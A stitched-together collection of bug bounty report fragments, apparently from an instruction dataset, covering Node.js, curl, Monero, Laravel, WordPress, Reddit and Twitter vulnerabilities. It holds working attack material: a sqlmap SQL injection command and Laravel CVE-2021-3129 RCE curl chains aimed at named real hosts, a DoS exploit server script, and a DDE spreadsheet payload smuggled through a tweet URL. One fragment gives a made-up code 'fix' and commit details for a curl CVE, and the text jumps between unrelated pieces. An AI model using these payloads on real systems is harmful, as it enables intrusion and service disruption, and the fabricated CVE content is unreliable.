Let's begin with a trusted directory structure.\n ```console\n git clone -b v20.0.0 --depth 1 https://github.com/nodejs/node.git node-20\n cd node-20\n ```\n2. Now enter a Node.js REPL that (supposedly) only has access to the current working directory:\n ```console\n node --experimental-permission --allow-fs-read=$(pwd) --allow-fs-write=$(pwd)\n ```\n3. Now either `rename` or `link` an existing relative symbolic link to redirect it. Example:\n ```js\n fs.renameSync('tools/node_modules/eslint/node_modules/eslint', 'escape');\n fs.readdirSync('escape'); // Prints the contents of the (supposedly inaccessible) parent directory.\n ```\n\nConveniently, `tools/node_modules/eslint/node_modules/eslint` is a symbolic link that points to its parent directory. As long as it remains in its original location, that is, of course, not a problem. In fact, relative symbolic links are very common, especially on Linux systems, and the symbolic link's target is well within the directory structure that the process is allowed to access.

In the worst case, this vulnerability allows an attacker to access any files on the system, regardless of restrictions imposed by the permission model.\n\nThis problem would be much more severe if not for another bug in the permission model, which prevents creating relative symbolic links altogether. Luckily, this other bug prevents the attacker from creating relative symlinks themselves, thus, they have to rely on existing relative symlinks (plus any created by package managers, etc.). Due to this fortunate restriction, I have not set the severity of the vulnerability to \"high\" but only to \"medium\"."

In other words, the DOS will only be effective on the URL containing your parameter, you probably know this but let me clarify: this is very important in order not to damage the services.\n 4.

Users are shown those permissions in about:extensions and disable extensions that include things that they don't consent to. Auto-update should not be a silent mechanism for third party providers of extensions to elevate their privileges without the user's knowledge.\n\nI realize that, today, the only extension is the PDF viewer, but your recent blog post says you're working on supporting other third party extensions and DevRel says they will use the auto-updater, so this is a heads up that this becomes exploitable once you start supporting other extensions.

From the same menu, enable 'Request English versions of web pages for enhanced privacy'. This will gray out the reconfiguration in step 1.\n 3. Verify if the setting in step 2 took place by checking navigator.language, navigator.languages and Accept-Language.\n\n### Impacto\nUsers that have previously changed language settings (or language settings were changed by the browser previously, such as from a locale-specific installation) may make use of this setting expecting to improve their privacy when using Tor Browser. For example, users might find few websites dynamically change their language, or change their threat model. The settings they changed gray out, which gives confidence that they are overwritten.\n\nHowever, an attacker can make use of both JavaScript fingerprinting (malicious scripts reading navigator.languages) and HTTP fingerprinting (malicious server reading Accept-Language) to identify users that have changed these settings. This affects users on a Strict security level (disabled JS) through the headers passed.\n\nTo resolve this, enabling the setting should enforce the language settings of an English default installation of Tor Browser globally, also maintaining the order of this configuration (that is, \"en-US,en\" and not \"en,en-US\"). Currently, I think the best workaround is to manually add, remove and reorder the language preferences or reset about:config's intl.accept_languages."

Remove this information from the internet ASAP!!!!\n\nVulnerability information:\n\nThe vulnerability is caused by an integer overflow in the curl_easy_setopt() function.\nThe vulnerability can be exploited by an attacker to execute arbitrary code on a vulnerable system.\nThe vulnerability is fixed in curl 8.4.0 and higher.\n\nCode fixes:\nThe following code changes fixed CVE-2023-38545 in curl:\n\nC\n/*\n * CVE-2023-38545: Integer overflow in curl_easy_setopt()\n *\n * This vulnerability could be exploited to cause a denial-of-service attack or\n * to execute arbitrary code on the victim's system.\n *\n * The following code changes fix this vulnerability by checking the value of the\n * timeout argument before passing it to the internal curl function.\n */\n\n#include \"curl.h\"\n\n/*\n * curl_easy_setopt()\n *\n * Sets an option value for a curl handle.\n *\n * @param handle The curl handle.\n * @param option The option to set.\n * @param param The value to set the option to.\n *\n * @return CURLE_OK on success, or a curl error code on failure.\n */\n\nCURLcode curl_easy_setopt(CURL *handle, CURLoption option, ...)\n{\n va_list param;\n CURLcode ret;\n\n va_start(param, option);\n\n switch (option) {\n case CURLOPT_TIMEOUT: {\n long timeout = va_arg(param, long);\n\n /* Check for integer overflow. */\n if (timeout < 0 || timeout > LONG_MAX) {\n va_end(param);\n return CURLE_BAD_FUNCTION_ARGUMENT;\n }\n\n ret = curl_easy_setopt_timeout(handle, timeout);\n break;\n }\n\n default:\n ret = curl_easy_setopt_custom(handle, option, param);\n break;\n }\n\n va_end(param);\n\n return ret;\n}\nUse code with caution. Learn more\nThese code changes were made in commit 9414975, which was released in curl version 8.4.0.\n\n\nWho made these changes and commit details:\nThe code changes to fix CVE-2023-38545 were made by Dxxxxl Sxxxxg, the maintainer of curl. The changes were made in commit 9414975, which was released in curl version 8.4.0.\n\nDxxxxl Sxxxxg is a Swedish computer programmer and the creator and maintainer of curl. He has been working on curl for over 20 years and is considered to be one of the leading experts on web transfer protocols.\n\n### Impacto\nDisclosing undisclosed vulnerability code can have a number of negative implications, including:\n\nPutting users at risk. Once a vulnerability is disclosed publicly, attackers can start exploiting it. This can put users of the affected software at risk of data breaches, malware infections, and other attacks.\nDamaging the vendor's reputation. Vendors take pride in the security of their products and services. Disclosing a vulnerability publicly can damage the vendor's reputation and lead to lost customers.\nMaking it more difficult for the vendor to fix the vulnerability. If a vulnerability is disclosed publicly before the vendor has a chance to fix it, it can make it more difficult for the vendor to coordinate a patch release. This can leave users vulnerable to attacks for longer.\nEncouraging other attackers to find and disclose vulnerabilities. When attackers see that they can get attention and recognition by disclosing vulnerabilities, they are more likely to look for them. This can lead to an increase in the number of vulnerabilities that are disclosed publicly."

The top block in the blockchain must also have at least one tx (not including the miner tx) as the PoC will use this tx to create more invalid txs.\n\nI have uploaded the code here I don't know if that's the best way to share it, if not I'm happy to share it another way. As it seems folders aren't supported here you will need to create a `src` folder and move `utils.rs` and `main.rs` inside keeping `Cargo.toml` and `Cargo.lock` on the outside.\n\nIt uses Cuprate's p2p code so you will need Rust installed to run it. \n\nwith Rust installed to run you would do this from the root of the files:\n\n```\ncargo run -r [network] [node]\n```\nso to target a node at `127.0.0.1:18080` on mainnet you would do:\n\n```\ncargo run -r mainnet 127.0.0.1:18080\n```\n\n### Impacto\nThe most obvious issue this causes is stopping the flow of txs around the network as if a tx is `relay_method::block` then when pruning the tx pool [it will never be removed](https://github.com/monero-project/monero/blob/ac02af92867590ca80b2779a7bbeafa99ff94dcb/src/cryptonote_core/tx_pool.cpp#L465), leaving other, valid, txs to be removed, the `prune` function is called after every tx is added to the pool so you could empty a nodes pool of valid txs and stop it accepting more txs.\n\nHowever when I ran my PoC on my node it completely broke it, it froze it and then I could not start it again the logs just repeated this:\n\n```\n2024-01-13 20:43:59.190\t[P2P6]\tTRACE\tblockchain.db.lmdb\tsrc/blockchain_db/lmdb/db_lmdb.cpp:1887\tBlockchainLMDB::get_txpool_tx_meta\n2024-01-13 20:43:59.190\t[P2P6]\tTRACE\tblockchain.db.lmdb\tsrc/blockchain_db/lmdb/db_lmdb.cpp:1887\tBlockchainLMDB::get_txpool_tx_meta\n2024-01-13 20:43:59.190\t[P2P6]\tTRACE\tblockchain.db.lmdb\tsrc/blockchain_db/lmdb/db_lmdb.cpp:1887\tBlockchainLMDB::get_txpool_tx_meta\n2024-01-13 20:43:59.190\t[P2P6]\tTRACE\tblockchain.db.lmdb\tsrc/blockchain_db/lmdb/db_lmdb.cpp:1887\tBlockchainLMDB::get_txpool_tx_meta\n2024-01-13 20:43:59.190\t[P2P6]\tTRACE\tblockchain.db.lmdb\tsrc/blockchain_db/lmdb/db_lmdb.cpp:1887\tBlockchainLMDB::get_txpool_tx_meta\n``` \nI couldn't see anywhere where it could be stuck in a loop (I didn't look much though) and I couldn't manually flush the txpool.\n\n\nAnother issue I can think of is sending \"valid\" transactions with no fee, although other nodes wont be able to broadcast this around the network if the attacker manages to send it to a miner the miner might include it in the block template if there is enough room (it should be lowest priority though as no fee) then this can be repeated to spam the chain to bloat it or to try de-anonymize txs for cheap (free?)."

Send a HTTP/2 request:\n * Send necessary init frames.\n * Send `HEADERS` frame for a simple `GET /` request (with no `END_HEADERS` flag).\n * Send `CONTINUATION` frame with a single header (also with no `END_HEADERS` flag).\n 3. Disconnect TCP connection.\n\nI'm attaching an exploit in Golang that demonstrates the issue. It starts a loop and in each iteration it opens a TCP connection to the server. It sends necessary headers and then just leaves the connection open. After 10 seconds, another go routine simply exists the application which kills all opened TCP connections which triggers the bug. To run it simply run: `go run ./exploit2.go -address [server]`. For simplicity it works only for `h2c` (HTTP/2 without TLS) server but with extra code it should work against any Node.js server (with TLS).\n\nI was testing it against the simple Node.js server:\n```nodejs\nconst http2 = require('http2');\nconst fs = require('fs');\n\nconst server = http2.createServer();\n\nserver.on('error', (err) => console.error(err));\n\nserver.on('stream', (stream, headers) => {\n // Respond to the request with a simple hello world message\n stream.respond({\n 'content-type': 'text/plain; charset=utf-8',\n ':status': 200\n });\n stream.end('Hello World with HTTP/2!');\n console.log(\"Request handled\")\n});\n\nserver.listen(7777, () => {\n console.log('Server is running on http://localhost:7777');\n});\n```\n\n### Impacto\nAn attacker can make the Node.js HTTP/2 server completely unavailable. Because of the fact that send HTTP/2 frames never establish a full HTTP request, the server admins may have problems with debugging the issue or rate-limiting the attacker (requests not visible in the logs). The payload sent to exploit the issue is also very small.\n\nAdditionally, an attack can cause some problems with data integrity because `GOAWAY` frames will not be sent but they contain (often important): `Last-Stream-ID` parameter, from specification:\n> The last stream identifier in the GOAWAY frame contains the highest-numbered stream identifier for which the sender of the GOAWAY frame might have taken some action on or might yet take action on. All streams up to and including the identified stream might have been processed in some way.\n\nThis means that clients may submit duplicate request for request that have been already processed by a server."

"input": "",
"output": "### Resumo da Vulnerabilidade\nIn `vquic-tls.c` `curl_wssl_init_ctx` errors are handled by `goto out` and having `result` be set to an error code to be returned. At the beginning of the function `result` is correctly set to `CURLE_FAILED_INIT` which allows for `goto out` to work correctly without having to set `result` however, `result`'s value is overridden at a certain point if `ctx_setup` is passed to the function. If `ctx_setup` returns 0 (the expected result) then it's assigned to `result` and any attempt after that to `goto out` without setting `result` to an error code will make the function skip the rest of its initialization and return with an error code indicating success.\n\nUnfortunately the last thing `curl_wssl_init_ctx` is supposed to setup for the ssl context is the certificate verification requirements. There are 4 places `goto out` is used without setting `result`, of those 3 can result from bad user input (bad tls13-ciphers, curves, or cafile/capath) and 1 is from trying to setup ssl key logging when having a WolfSSL build that doesn't have `wolfSSL_CTX_set_keylog_callback`. \n\nLuckily this does require the user to have passed in bogus values for one of the above parameters which I find very unlikely. Also very fortunately WolfSSL attempts to default to verify a cert rather than OpenSSL's default of not verifying. There is an option to make WolfSSL have OpenSSL compatible defaults but I don't know how common it is to have WolfSSL configured like that so I'm not sure how likely it is that people could run into this.\n\nGiven the unlikely set of configurations required to encounter this I don't think this is a \"high\" vulnerability like the CVSS claims but there is no way of manually setting the score, honestly I would have just submitted a patch to fix this but I'm not to sure on how common having WolfSSL in OpenSSL compatible mode is so I'm err'ing on the side of caution and submitting it here.\n\nI checked the other initialization functions in `vquic-tls.c` and it doesn't look like the same mistake was made in them. `result` is assigned before each use of `goto out`.\n\n### Passos para Reproduzir\nBuild WolfSSL with something that sets `OPENSSL_COMPATIBLE_DEFAULTS` (I used `--enable-nginx`) and build curl with the WolfSSL backend.\nSetup a QUIC webserver with a self signed cert that matches the domain being spoofed and attempt to make a HTTP/3 connection to it using curl with a bad `--curves` list. curl connects to the site without having set `--insecure`, taking out the bad `--curves` argument curl will complain about the invalid cert. \n\nex:\n```\n./curl -v --http3-only 'https://example.com/' -o /dev/null -s --resolve example.com:443:192.168.1.24 --curves blah\n* Added example.com:443:192.168.1.24 to DNS cache\n* Hostname example.com was found in DNS cache\n* Trying 192.168.1.24:443...\n* wolfSSL failed to set curves\n* Verified certificate just fine\n* Connected to example.com (192.168.1.24) port 443\n* using HTTP/3\n* [HTTP/3] [0] OPENED stream for https://example.com/\n* [HTTP/3] [0] [:method: GET]\n* [HTTP/3] [0] [:scheme: https]\n* [HTTP/3] [0] [:authority: example.com]\n* [HTTP/3] [0] [:path: /]\n* [HTTP/3] [0] [user-agent: curl/8.7.0-DEV]\n* [HTTP/3] [0] [accept: */*]\n> GET / HTTP/3\n> Host: example.com\n> User-Agent: curl/8.7.0-DEV\n> Accept: */*\n> \n* We are completely uploaded and fine\n< HTTP/3 200 \n< server: nginx/1.25.4\n< date: Sun, 10 Mar 2024 21:02:39 GMT\n< content-type: text/html\n< content-length: 615\n< last-modified: Wed, 14 Feb 2024 16:03:00 GMT\n< etag: \"65cce434-267\"\n< accept-ranges: bytes\n< \n{ [615 bytes data]\n* Connection #0 to host example.com left intact\n```\n\nvs\n\n```\n./curl -v --http3-only 'https://example.com/' -o /dev/null -s --resolve example.com:443:192.168.1.24 \n* Added example.com:443:192.168.1.24 to DNS cache\n* Hostname example.com was found in DNS cache\n* Trying 192.168.1.24:443...\n* CAfile: /etc/ssl/certs/ca-certificates.crt\n* CApath: none\n* QUIC connect to 192.168.1.24 port 443 failed: SSL peer certificate or SSH remote key was not OK\n* Failed to connect to example.com port 443 after 12 ms: SSL peer certificate or SSH remote key was not OK\n* Closing connection\n```\n\n### Impacto\nIf the stars align and the user is using such a configuration and passing bad arguments then they would be vulnerable to MITM attacks."

One of the methods defined in the RFC is to use IPv4-mapped IPv6 addresses, that have the following format:\n\n```\n | 80 bits | 16 | 32 bits |\n +--------------------------------------+--------------------------+\n |0000..............................0000|FFFF| IPv4 address |\n +--------------------------------------+----+---------------------+\n```\n\nIn IPv6 notation, the corresponding mapping for `127.0.0.1` is `::ffff:127.0.0.1` ([RFC 4038](https://datatracker.ietf.org/doc/html/rfc4038)). Although curl correctly converts octal numbers starting with 0 in IPv4 format, such as recognizing 0177.0.0.1 as 127.0.0.1, it fails to properly identify the data format of 0127.0.0.1 in IPv4-mapped IPv6 addresses. The curl command automatically removes the leading zeros from IP addresses in the format ::ffff:0127.0.0.1, and sends requests to 127.0.0.1 instead. This behavior can undermine defensive strategies that restrict access to 127.0.0.1, potentially leading to security threats such as Server-Side Request Forgery (SSRF) and Remote Code Execution (RCE) on the server.\n\n### Passos para Reproduzir\n\n\n### Impacto\nThe impact of this vulnerability is huge because the `curl` is widely used.

When curl retrieves an HTTP response, it stores the incoming headers so that they can be accessed later via the libcurl headers API.

Typically, headers are stored directly in memory so that they can be accessed by applications via the libcurl headers API.If cURL does not enforce limits on the number or size of headers, it can lead to memory exhaustion and potential application crashes, causing a denial of service (DoS) attack.\nNow consider this vulnerable code snippet of transfer.c file of cURL's core library. This file handles data transfers, managing the process of sending requests and receiving responses over various protocols (like HTTP, FTP, etc.).\n\n### Passos para Reproduzir\n1. This is a Python script which creates a simple HTTP server that serves as an exploit server , It is designed to simulate a vulnerability where an excessive number of HTTP headers are sent in the response, potentially causing memory exhaustion on the client side.\n```\nimport http.server\nimport socketserver\n\nclass ExploitHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):\n def send_headers(self):\n for i in range(1000000): # Large number to exhaust heap memory\n self.send_header(f'X-Excessive-Header-{i}', 'A' * 1000)\n self.end_headers()\n\n def do_GET(self):\n self.send_response(200)\n self.send_headers()\n self.wfile.write(b'Exploit server response')\n\ndef run(server_class=http.server.HTTPServer, handler_class=ExploitHTTPRequestHandler, port=8080):\n server_address = ('', port)\n httpd = server_class(server_address, handler_class)\n print(f'Starting exploit server on port {port}')\n httpd.serve_forever()\n\nif __name__ == '__main__':\n run()\n```\n\n2 . Next, we create a bash file called curl_memory.sh. Copy the bash script into the bash file , Below is the bash script. This will be used to run the exploit_server.py file and curl command . \n```\n#!/bin/bash\n# Function to clean up background processes\ncleanup() {\n kill $EXPLOIT_SERVER_PID\n exit\n}\n# Trap the exit signal to ensure cleanup\ntrap cleanup EXIT\n# Start the exploit server in the background\npython3 exploit_server.py &\nEXPLOIT_SERVER_PID=$!\n# Allow the server to start\nsleep 2\n# Run curl and capture its PID\ncurl http://localhost:8080 &\nCURL_PID=$!\n# Allow some time for curl to start\nsleep 1\n# Check if the curl process is running and monitor its memory usage\nif ps -p $CURL_PID > /dev/null; then\n echo \"Monitoring curl (PID: $CURL_PID) memory usage...\"\n while ps -p $CURL_PID > /dev/null; do\n ps -o pid,rss,vsize,comm -p $CURL_PID\n sleep 1\n done\nelse\n echo \"Curl process not found\"\nfi\n# Wait for the curl process to complete\nwait $CURL_PID\n# Cleanup\nkill $EXPLOIT_SERVER_PID \n```\n3.

The issue allows unauthorized users to join an organization using invitation links sent to different email addresses. If exploited, this vulnerability can lead to unauthorized access, privilege escalation, data breaches, and other severe impacts.\nVulnerability Details\nDescription\nThe invitation system is designed to send unique links to specific email addresses, allowing them to join an organization. However, it was discovered that these links can be used by email addresses other than the intended recipients. This flaw occurs because the system does not adequately verify that the email address using the invitation link matches the email address to which the link was sent.\n\nNOTE:\nwhen you want to create account it will ask for email verification, but in the scenario described down i was able to bypass verification process\n\n### Passos para Reproduzir\n1-victim send an invitation to attacker\n2-in attacker mailbox click on the invite you had received \n3-turn on burp\n4-set up your password and turn the interception on\n5- click signup and go to burp forward the request till you reach POST /graphql HTTP/2 with body\n```\n{\"operationName\":\"SignUp\",\"variables\":{\"input\":{\"email\":\"example@gmailll.com\",\"link\":null,\"password\":\"wxxxxxxx\",\"source\":\"invitation\"}},\"query\":\"mutation SignUp($input: SignUpInput!) {\\n auth {\\n signUp(input: $input)\\n __typename\\n }\\n}\"}\n```\n6-in the email parameter change the email to any email you want even one you don't own and finish signup process and you are now logged in with email that doesn't belong to you and have bypassed email verification\n\n### Impacto\nPotential Risks\n Unauthorized Access:\nUnauthorized users can join the organization and gain access to sensitive information.\nPrivilege Escalation:\nIf the invitation grants high-privilege roles (e.g., owner), unauthorized users can perform actions restricted to these roles, potentially compromising the entire system.\nData Breach:\nConfidential and sensitive data may be exposed, leading to data breaches and loss of proprietary information.\nOperational Disruption:\nUnauthorized changes to configurations, deletion of data, or disruption of services can impact business operations.\nEmail verification bypass."

"input": "",
"output": "### Resumo da Vulnerabilidade\nReddit launched a new feature in June 2024 changelog. It is about **Achievement Badges** being available in profile . As per its the access control a badge is supposed to be hidden to other users if the badge owner unpins it. However, this IDOR vulnerability lets a malicious user find all the hidden badges with the knowledge of username (which is public) and badge id (which is a simple 1-2 digit incremental number)\n\n### Passos para Reproduzir\n1. Create a Reddit account.\n2. Go to any post of any user.\n3. Share it outside of Reddit by just creating a embedding of the post. Please use Share -> Embed feature.\n\n{F3460176}\n\n4. Now go to your profile's achievement section and observe that the `New Share` badge gets unlocked.\n5. Click on that badge and unpin it. This makes it hidden from others.\n\n{F3460179}\n\n6. Please read this [support article](https://support.reddithelp.com/hc/en-us/articles/27063106698004-What-are-achievements) which states that unpinning a badge will hide it from others.\n\n{F3460182}\n\n7. Now create another account. Please try to create using mobile number due to some reasons.\n8. Login to the newly created account.\n9. Go to the first users achievement page. The way to do it is craft this URL and visit it in browser `https://www.reddit.com/user/<the-username-here>/achievements/`.\n10. Observe that the `New Share` badge is hidden.\n\n{F3460189}\n\n11. Now request the following url in same browser `https://share.redd.it/preview/user/<the-usename-here>/achievement/10?show-user-info=true` and observe that you get a response with an image meaning that the provided username has `New Share` badge.\n\n{F3460193}\n\n12. Now change the `10` in URL to `11` or `9` and observe that you get a `Not found` message.\n\n{F3460201}\n{F3460200}\n\n13. Thus, a `Not Found` response means that that particular user does not have that badge and a `Valid Image` response means that that user has that particular badge.\n13. Using this technique we can enumerate the `Achievement Badges` of any arbitrary user of Reddit.\n\n### Impacto\n:\nBadges tell a lot about a Reddit user. That is the reason Reddit gave an option for user to hide them. This vulnerability is a threat to confidentiality of Reddit users. It can tell a malicious user about if the user joined more than a threshold number of communities, does this person have high (> 10%) upvote rating, does the person comment in same community in 20 days straight, does the person votes/post/comments in reddit for certain amount of days etc. Basically all the actions due to which an badge gets rewarded gets exposed."

For example you can define HTML to be shown after the form:\n~~~~\ncurl -s -i 'https://www.drivegrab.com/wp-admin/admin-ajax.php' --data 'action=frm_forms_preview&after_html=hello world'\n~~~~\nYou see that \"hello world\" appears on the page after the \"Contact us\" form.\n\nThe HTML may contain WordPress shortcodes which are special markup in square brackets. There are shortcodes implemented by the WordPress core, and shortcodes implemented by plugins. Any of these can be included in the form preview.\n\nThe Formidable plugin implements several shortcodes. One of them is [display-frm-data] which displays data that people have entered in a form. It accepts a few parameters, e.g. the form id:\n\n~~~~\ncurl -s -i 'https://www.drivegrab.com/wp-admin/admin-ajax.php' --data 'action=frm_forms_preview&after_html=XXX[display-frm-data id=835]YYY'\n~~~~\n\nIn the resulting HTML you see some form entries between \"XXX\" and \"YYY\".\n\nThe [display-frm-data] shortcode also accepts parameters \"order_by\" and \"order\" for sorting the entries. The \"order_by\" parameter can contain a field ID or list of them. The \"order\" parameter is supposed to contain \"ASC\" or \"DESC\" to indicate the sorting direction. These parameters can be used to carry out an SQL injection.\n\nExample:\n~~~~\ncurl -s -i 'https://www.drivegrab.com/wp-admin/admin-ajax.php' --data 'action=frm_forms_preview&after_html=XXX[display-frm-data id=835 order_by=id limit=1 order=zzz]YYY'\n~~~~\n\nAlthough this example gives no meaningful output, you should see in the server logs that the \"zzz\" went in an SQL query which produced an error message.\n\nThe shortcode parameters are processed in various ways which makes it very complicated to perform a successful SQL query and retrieve data. However it is possible.\n\nThe injected code goes in the ORDER BY clause of an intermediate query that retrieves the list of form entry ID's. Results of the manipulated query aren't directly visible. The attacker can control the order of entries appearing on the page, which is enough to communicate one bit of data from the database.\n\nA further complication is that any comma symbols in the injected data are specially treated and affect the resulting SQL query in a way that creates errors. With careful formatting, however, the query can be salvaged.\n\nI came up with the following sqlmap options to retrieve any data from the database:\n~~~~\n./sqlmap.py -u 'https://www.drivegrab.com/wp-admin/admin-ajax.php' --data 'action=frm_forms_preview&before_html=XXX[display-frm-data id=835 order_by=id limit=1 order=\"%2a( true=true )\"]XXX' --param-del ' ' -p true --dbms mysql --technique B --string persondetailstable --eval 'true=true.replace(\",\",\",-it.id%2b\");order_by=\"id,\"*true.count(\",\")+\"id\"' --test-filter DUAL --tamper commalesslimit -D █████ --sql-query \"SELECT ██████████ FROM █████ WHERE id=2\"\n~~~~\nThis works with the latest sqlmap. The \"commalesslimit\" tamper module helps avoiding comma symbols in any LIMIT clauses. The --eval parameter does some processing to repair queries that contain commas in the SELECT clause.\n\nSpecifically, for each comma appearing in the order parameter, the plugin appends \",it.id\" in the query. The repair code appends \"-it.id+\" after each comma to neutralize the effect. In other words, an injected \"SELECT a,b\" query would be translated to \"SELECT a,it.id b\" by the shortcode logic. The repair code changes it to \"SELECT a, it.id-it.id+b\" which evaluates to the original injected query.\n\nResult of the above sqlmap command:\n~~~~\n[03:09:30] [INFO] testing █████\n[03:09:30] [INFO] confirming ██████\n[03:09:30] [INFO] the back-end DBMS is ███\nweb application technology: █████\nback-end DBMS: ███████\n[03:09:30] [INFO] fetching SQL SELECT statement query output: 'SELECT ███████ FROM ████ WHERE id=2'\n[03:09:30] [INFO] retrieved: 1\n[03:09:43] [INFO] retrieving the length of query output\n[03:09:43] [INFO] ███\n[03:10:46] [INFO] retrieved: █████ \nSELECT ██████ FROM ████ WHERE id=2 [1]:\n[*] ██████████\n~~~~"

"output": "### Resumo da Vulnerabilidade\nCVE-2021-3129 is a Remote Code Execution vulnerability in the Laravel framework which takes advantage of unsafe usage of PHP. This vulnerability and the steps to exploit it follow a similar path to a classic log poisoning attack. In typical log poisoning, the attacker needs to exploit a local file inclusion first in order to achieve remote code execution, while in the Laravel framework, we need the Ignition module (Ignition is a page for displaying an error) and a specific chain to trigger this vulnerability. This security issue is relatively easy to exploit and does not require user authentication which is one of the reasons why it has a 9.8 CVSSv3 score.\n\n\n\n{F3661989}\n\nIn Laravel ignition mode, we have a class named MakeViewVariableOptionalSolution which invokes both functions to be triggered by sending a POST request to `/_ignition/execute-solution`. It does this using a JSON payload which includes a viewFile `parameter`. The action of reading and writing a file doesn’t give us more insights, but PHP allows us to use filters like `php://filter/write=convert.base64-decode/resource=path/to/a/specific/file` , and `phar:///path/to/specific/file` to modify and execute PHP serializable code . However, this is not enough to trigger RCE. Default Laravel has the log file in storage/logs/laravel.log which includes every PHP error. Writing malicious content with the purpose of decoding and executing it won’t work at first, because PHP ignores bad characters when decoding base64, so the error won’t be written in the Laravel log file. \n\nMoreover, the log file has more entries that affect our payload. Hopefully, we can invoke php:// again to clear the log file and have only our payload executed and injected twice. But we need one more step. The length of the final payload in the log file is different from one target to another because of the absolute path, which could result in bad decoding of the base64 payload. One of the last methods I tried to trigger the RCE is to use base64 decode for UTF-16, which aligns the payload for 2 bytes. In this case, the first payload is correctly decoded, thus the second one will be decoded correctly too. \n\n{F3662012}\n\n```javascript\ncurl -XPOST -H 'Content-Type: application/json' -d ‘{\"solution\": \"Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution\", \"parameters\": {\"variableName\": \"test\", \"viewFile\": \"php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log\"}, }’ http(s)://mpos.mtn.co.sz/_ignition/execute-solution\n```\n```javascript\ncurl -XPOST -H 'Content-Type: application/json' -d ‘{\"solution\": \"Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution\", \"parameters\": {\"variableName\": \"test\", \"viewFile\": \"AA\"}, }’ http(s)://mpos.mtn.co.sz/_ignition/execute-solution\n```\n```javascript\ncurl -XPOST -H 'Content-Type: application/json' -d ‘{\"solution\": \"Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution\", \"parameters\": {\"variableName\": \"test\", \"viewFile\": \"=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=4E=00=41=00=51=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=...\"}, }’ http(s)://mpos.mtn.co.sz/_ignition/execute-solution\n```\n```javascript\ncurl -XPOST -H 'Content-Type: application/json' -d ‘{\"solution\": \"Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution\", \"parameters\": {\"variableName\": \"test\", \"viewFile\": \"php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log\"}, }’ http(s)://mpos.mtn.co.sz/_ignition/execute-solution\n```\n```javascript\ncurl -XPOST -H 'Content-Type: application/json' -d ‘{\"solution\": \"Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution\", \"parameters\": {\"variableName\": \"test\", \"viewFile\": \"phar://../storage/logs/laravel.log\"}, }’ http(s)://mpos.mtn.co.sz/_ignition/execute-solution\n```\n 1.

"output": "### Resumo da Vulnerabilidade\nThe WordPress Database Repair feature, accessible via the `/wp-admin/maint/repair.php` endpoint, is vulnerable due to improper access control and insecure design. When `WP_ALLOW_REPAIR` is set to `true` in the `wp-config.php` file, the repair page becomes publicly accessible without requiring any authentication. This vulnerability arises from two main issues: the absence of authentication for accessing the repair endpoint and the insecure nature of the WordPress repair feature, which lacks any limits or restrictions on access frequency or user verification. Consequently, an attacker can repeatedly trigger resource-intensive database repair operations, overwhelming server resources and resulting in a Denial of Service (DoS) condition. \nThis vulnerability can be categorized under these two CWE's as it fails to impose necessary restrictions on who can access this critical functionality.\n\n**CWE-306: Missing Authentication for Critical Function** \n **CWE-400: Uncontrolled Resource Consumption**\n\n### Passos para Reproduzir\n1.

This Denial of Service (DoS) condition disrupts the availability of the website, rendering it inaccessible to legitimate users. The lack of authentication and rate limiting on a critical function makes it easy for attackers to exploit, resulting in significant downtime, potential loss of business, and damage to the reputation of the affected website. Additionally, this vulnerability has been active for a long time, going unreported and unnoticed, making it a persistent threat to WordPress installations that enable the repair feature without proper security measures."

"output": "### Resumo da Vulnerabilidade\nA critical vulnerability in Trellix Enterprise Security Manager (ESM) version 11.6.10 allows **unauthenticated** access to the internal `Snowservice` API and enables remote code execution through command injection, executed as the root user. This vulnerability results from multiple flaws in the application's design and configuration, including improper handling of path traversal, insecure forwarding to an AJP backend without adequate validation, and lack of authentication for accessing internal API endpoints.\n\nThe root cause lies in the way the ESM forwards requests to the AJP service using `ProxyPass`, specifically configured as:\n\n```apache\nProxyPass /rs ajp://localhost:8009/rs\n```\n\nThis configuration permits unintended external access to internal paths by leveraging the `..;/` traversal sequence, which bypasses typical directory restrictions. This technique is further explained in **Breaking Parser Logic: Take Your Path Normalization Off and Pop 0days Out** by Orange Tsai at Black Hat USA 2018 ([source](https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf)). The `..;/` sequence bypasses common path validation checks, making it possible to access restricted internal APIs.

Goto the analytics page and ensure that tweet is within the date range before clicking \"export data\"\n 3. Open the exported CSV file within Excel\n\nThe most recent tweet should be at the top. Your first row will say 56 which is proof the addition worked.\n\nModifying the payload can convert this from an arithmetic formula to triggering Dynamic Data Exchange (DDE).\n\n 1. Modify the payload to: =cmd|' /C calc'!A0\n 2. Repeat the export and opening process.\n 3. This time Excel will warn users about the DDE. Accepting these warnings will trigger calc.exe to open.\n\nThese error messages are Microsoft's response to DDE code execution. It has been established that users do not necessarily understand these warnings and that they instead rely on their implicit trust of the service which generated the file.\n\nSo far how to replicate the injection has been shown. The second part of this is how to influence a user to post a tweet which would harm themselves? I located a flaw in the \"Share this article\" intent through the \"text\" parameter. The URL for this is:\n\nhttps://twitter.com/intent/tweet?text=[value]\n\nThe value allows URL encoded control characters such as: %0A\n\nThis is interpreted as a newline character and can be used to obfuscate the payload. The following URL includes a payload which can be used to replicate the issue:\n\nhttps://twitter.com/intent/tweet?text=%3DSUM(1%2B1)*cmd%7C%27%20%2FC%20calc%27!A0%0A%0D%0A%0D%0A%0D%0A%0Dbbb\n\nEssentially it begins with a DDE payload, injects several newlines and then writes “bbb” which could be the string the victim believes they are posting. By default FireFox (at least on Windows) was found to scroll down to the bottom of the text field meaning it displayed the string \"bbb\". There were over 100 characters remaining in which to replace that string with a reasonable message to entice 